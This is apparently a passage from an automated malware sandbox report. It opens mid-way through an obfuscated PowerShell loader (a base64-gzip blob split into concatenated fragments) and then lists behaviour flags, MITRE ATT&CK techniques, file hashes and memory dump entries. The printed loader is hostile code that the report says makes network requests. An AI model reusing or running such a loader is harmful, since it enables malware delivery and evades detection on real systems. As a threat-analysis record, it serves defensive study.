System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAP6K6WYCA7VW+2/aSBD+vVL/B6tCwlYJNo/mJVW6tR0eSSAQ8whQdNrYi71l7SX2OoQ+/vebx'+'TghatLLnVRLJPuYmZ395puZXaSRKyiPlMh8UL6/f6fsvh6OcaiohTvXPpqWlIK71p42C/h+6iifFXWGViubh5hG89NTK41jEolsXm4SgZKEhLeMkkTVlB/KOCAxObi6/UpcoXxXCn+Xm4{1}fYrYT21jYDYhygCJP7l1yF0vH'+'ys6KUaEWv3wparODyrx8dpdilqhFZ5MIEpY9xoqa8lOTBw42K6IWO9SNecIXojymUa1aHkYJXpAuWLsnHSIC7iVFuM{1}TdWIi0jjKbiXNZEJqEYa9mLvI82KSJMWSMpMH{1}Ob{1}v9TZ7vTrNBI0JOV2'+'JEjMVw6J76lLknILRx4j12QxBy1HxDTy55oGYvd8SdRClDJWUv6LGbVL1jl2b1VS95VAqidirQQxfeGeHe6ljGSaxRcc{1}XigwZdxAfD7KSFc5PRxB8Gh8QKBnhbyb7bdIeC{1}2uMJ3Wp/VoyS0oHTseDxBqaFQZwSbf6IuFLw0vNu6a3WKrkqKNJjDiu{1}Eafe/En/GQEKwSGTMq+{1}2SYLGhF7E+GQujlh1'+'ZeCQhaMbCEp52Jd8E8t7jaIZxNGfCwk{1}JIbv6idhVQ86popZR6JkQuBTcAriLn23JkscmqxHXVICOBlcyBrYQFpQnLpXW'+'ps8t'+'PlHISKFsNJUlJ6KeSpW1IcghnxSgqKEr'+'rbQqng22Hxyd'+'1OygR1cSJyc3PtOZq7Uy0eJSJOXYgqIDBwVsSlmElASkqLesTcONTPTy++CIeFGYPsAUv3EA5YkTA4QnIlBke3vNDKDhHtcMVICDLbstFg2IciscuRLbmwT7{1}iy37mmZDRXuKSA7LnJQTbYVyUlBGNBdQgiTGQ63/'+'58Gvxkc5YMdmFRs0TbGZuhEyAAvcuQsnRHUJbPGIBWDRiHpo4IYf1rM6oH/Qr2kPw'+'TeyWQ8loSSvtNfw68BvSWpvbR97F+deW3nGtpNdsHCO69tfucRe53rlHThyQ64/qwuqhVp8aZj1wTWMA42FbTNqoNaCGPwlcZvTslu5MEoOuW+OOa5vf1tUEmFqvt24MVKvVr2rGEtCb0Iq/RF43pOuHSxhDQb26NNuJabTZ2bl1fTuuNqZj1tLrjWAx5ol{1}OLF1XT/xsN3ZI'+'GRyr9bZ3FSu+aDlhmY9'+'4vqJVV+iM4Ss6G{1}UMPnFxIxRTx9hf'+'8XH7hh7Td9C5qFFybQ/bJj9fsN'+'Ew+bXO/tE9/WT8Q0O{1}PGoSqerm+sA5o11q3+hG/W2R77x6RqA'+'a3KE/WuQ8a2qGyxAxv6I{1}I9dnlTx0uTIBJnG9A41g8mq0WOwPxhWORqx7g1Gl9NNQ9crk14dtQw+bvqoD+LYN/sYJff2'+'N1uvjD{1}ujT91Jwt9dMOOdNvq94IbeWd9Fcq/65Z94U4ra/fq6PhyTEchR0NdH30AUsyGNBK16rxAP41k2X{1}/rpAMa3vEeK0rdHCcBJgBYaDc52nb4HFjV8F7nEoNVZUPgSWJI8Kgd0J3{1}emOGOOu7B9ZqYfmlbUU2eGG7a1TL4005VFQe2os+dLp6RS8hBSS9C5fksg'+'XQcl4qBkGNATjwahvc+Xtd7P4aqNujZVkS5HY5MbZ1jjYowtFVf84XPByEFDCfgPYa9jB2UuoOVADs0ogETQ5Z/v4ZRd7JMM+egBbB'+'a4+k68'+'GyRLQPyB3SkHIjrrfoQv33sUfJc6unAXw{1}/tX4jyt/Wb3TWQySlt0fll9vrDXCP4cAmNMBQg6UJYZyR4KrwCxS5a9CEN0IBMWu08+oK9ScdCFB9m2NfwDGF9QfLkLAAA{0}')-f'=','z')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MQCTDO7IKVLWP8Z42N6U.temp

Filesize
7KB

MD5
028abae83f7414d33670f827d4aed9dc

SHA1
9348bdfaef2001fb0aff234a80cf4807b47b0abb

SHA256
8cbec52d8375d4c2ed3eb171984cdd2e58bb592eec3dee603d81aef917b0e4eb

SHA512
525ad95ec3f044f04ab31b070a669df518b55fb854bee02b8416d49d71c82595e5eca5666345f88b4da1f5aa48d84c95dd017cdcf1aa68c6ba569ab85c5c0994

Download Submit
memory/1268-4-0x000007FEF578E000-0x000007FEF578F000-memory.dmp

Filesize
4KB

Download
memory/1268-5-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/1268-8-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/1268-7-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/1268-6-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/1268-9-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/1268-12-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2216-13-0x0000000005470000-0x0000000005471000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing